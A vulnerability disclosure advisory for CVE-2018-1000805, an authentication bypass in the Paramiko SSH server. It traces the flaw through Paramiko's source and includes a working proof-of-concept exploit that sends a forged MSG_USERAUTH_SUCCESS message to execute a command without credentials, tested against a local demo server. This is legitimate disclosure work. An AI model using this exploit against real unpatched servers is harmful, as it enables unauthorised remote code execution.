usd-2018-0023 | Paramiko/2.4.1, 2.3.2, 2.2.3, 2.1.5, 2.0.8, 1.18.5, 1.17.6
Advisory ID: 2018-0023
CVE number: CVE-2018-1000805
Affected Product: Paramiko
Affected Version: 2.4.1, 2.3.2, 2.2.3, 2.1.5, 2.0.8, 1.18.5, 1.17.6
Vulnerability Type: Authentication Bypass
Security Risk: Critical
Vendor URL: https://www.paramiko.org/
Vendor Status: Fixed according to vendor in version 2.0.x and up
Description
The authentication process within the Paramiko SSH server can by bypassed by sending a MSG_USERAUTH_SUCCESS message to the server. An attacker who exploits this vulnerability can gain remote code execution.
Description based on most recent commit
https://github.com/paramiko/paramiko/tree/677166b4411e86029226f3d093701fb3b999a082
The server identifies each message by an ID (`ptype`). If the ID exists in the transport._handler_table, the server checks if the connection is authenticated (transport.py:2003)
error_msg = self._ensure_authed(ptype, m)
if error_msg:
self._send_message(error_msg)
else:
self._handler_table[ptype](self, m)
The function `self._ensure_authed` returns `None` if the user is authenticated (transport.py:1716)
not self.server_mode or
ptype <= HIGHEST_USERAUTH_MESSAGE_ID or
self.is_authenticated()
):
return None
If the ID does not exist in the transport._handler_table, the auth_handler._handler_table is checked and the corresponding method is called (transport.py:2029)
self.auth_handler is not None
and ptype in self.auth_handler._handler_table
):
handler = self.auth_handler._handler_table[ptype]
handler(self.auth_handler, m)
if len(self._expected_packet) > 0:
continue
By default, the auth_handler adds MSG_USERAUTH_SUCCESS to the _handler_table (auth_handler.py:606)
MSG_SERVICE_REQUEST: _parse_service_request,
MSG_SERVICE_ACCEPT: _parse_service_accept,
MSG_USERAUTH_REQUEST: _parse_userauth_request,
MSG_USERAUTH_SUCCESS: _parse_userauth_success,
MSG_USERAUTH_FAILURE: _parse_userauth_failure,
MSG_USERAUTH_BANNER: _parse_userauth_banner,
MSG_USERAUTH_INFO_REQUEST: _parse_userauth_info_request,
MSG_USERAUTH_INFO_RESPONSE: _parse_userauth_info_response,
}
The function _parse_userauth_success sets the authenticated flag to true (auth_handler.py:541)
self.transport._log(INFO, 'Authentication (%s) successful!' % self.auth_method)
self.authenticated = True
self.transport._auth_trigger()
if self.auth_event is not None:
self.auth_event.set()
By sending a MSG_USERAUTH_SUCCESS message to the server, it’s possible to bypass the auth process.
Proof of Concept
#!/usr/bin/env python
import base64
from binascii import hexlify
import os
import socket
import sys
import threading
import traceback
import paramiko
from paramiko.py3compat import b, u, decodebytes
# setup logging
paramiko.util.log_to_file("demo_server.log")
host_key = paramiko.RSAKey(filename="test_rsa.key")
class Server(paramiko.ServerInterface):
data = (
b"AAAAB3NzaC1yc2EAAAABIwAAAIEAyO4it3fHlmGZWJaGrfeHOVY7RWO3P9M7hp"
b"fAu7jJ2d7eothvfeuoRFtJwhUmZDluRdFyhFY/hFAh76PJKGAusIqIQKlkJxMC"
b"KDqIexkgHAfID/6mqvmnSJf0b5W8v5h2pI/stOSwTQ+pxVhwJ9ctYDhRSlF0iT"
b"UWT10hcuO4Ks8="
)
good_pub_key = paramiko.RSAKey(data=decodebytes(data))
def __init__(self):
self.event = threading.Event()
def check_channel_request(self, kind, chanid):
if kind == "session":
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, username, password):
if (username == "robey") and (password == "foo"):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
def check_auth_publickey(self, username, key):
print("Auth attempt with key: " + u(hexlify(key.get_fingerprint())))
if (username == "robey") and (key == self.good_pub_key):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
def get_allowed_auths(self, username):
return "password,publickey"
def check_channel_exec_request(self, channel, command):
print("---SHOULD ONLY BE CALLABLE IF CLIENT IS AUTHED---")
self.event.set()
return True
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(("", 2200))
except Exception as e:
print("*** Bind failed: " + str(e))
traceback.print_exc()
sys.exit(1)
try:
sock.listen(100)
print("Listening for connection ...")
client, addr = sock.accept()
except Exception as e:
print("*** Listen/accept failed: " + str(e))
traceback.print_exc()
sys.exit(1)
print("Got a connection!")
try:
t = paramiko.Transport(client)
t.add_server_key(host_key)
server = Server()
try:
t.start_server(server=server)
except paramiko.SSHException:
print("*** SSH negotiation failed.")
sys.exit(1)
# wait for auth
chan = t.accept(20)
if chan is None:
print("*** No channel.")
sys.exit(1)
print("Authenticated!")
server.event.wait(10)
chan.close()
except Exception as e:
print("*** Caught exception: " + str(e.__class__) + ": " + str(e))
traceback.print_exc()
try:
t.close()
except:
pass
sys.exit(1)
### Exploit ###
from paramiko.common import cMSG_USERAUTH_SUCCESS, cMSG_USERAUTH_INFO_RESPONSE
import paramiko
port = 2200
hostname = '127.0.0.1'
username = ''
password = ''
client = paramiko.SSHClient()
#enable warning policy to allow connections to all servers
client.set_missing_host_key_policy(paramiko.WarningPolicy())
#overwrite auth method to skip the auth process
client._auth = lambda *args, **kwargs: None
client.connect(hostname, port, username, password)
#craft MSG_USERAUTH_SUCCESS message
m = paramiko.Message()
m.add_byte(cMSG_USERAUTH_SUCCESS)
client._transport._send_message(m)
client.exec_command('yes')
client.close()
Fix
Probably the message USERAUTH_SUCCESS is client specific and the callback should not be added to the auth_handler._handler_table in server mode.
Timeline
- 2018-08-31 notified jeff@bitprophet.org
- 2018-09-20 issue has been fixed according to https://github.com/paramiko/paramiko/issues/1283 and patch will be released in 2.0.x and up
- 2018-11-19 Security advisory released
Credits
This security vulnerability was found by Daniel Hoffmann of usd AG.